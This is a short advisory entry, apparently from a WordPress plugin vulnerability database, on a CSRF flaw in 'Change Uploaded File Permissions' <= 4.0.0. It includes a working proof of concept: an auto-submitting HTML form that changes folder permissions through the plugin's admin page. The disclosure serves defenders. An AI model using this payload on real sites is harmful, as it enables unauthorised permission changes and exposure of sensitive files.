WordPress Plugin Vulnerabilities
Change Uploaded File Permissions <= 4.0.0 - File Permission Update via CSRF
Description
Due to missing checks the plugin is vulnerable to CSRF attacks. This can be used to change the file and folder permissions of any folder. This could be problematic when specific files like ini files are made readable for everyone due to this.
Proof of Concept
<form id="test" action="https://example.com/wp-admin/options-general.php?page=uploadedfilepermissions" method="POST">
<input type="text" name="sk_wproot_folder" value="/www/htdocs/ttttt/example.com/wp-content/uploads">
<input type="text" name="sk_updateroot" value="true">
</form>
<script>
document.getElementById("test").submit();
</script>
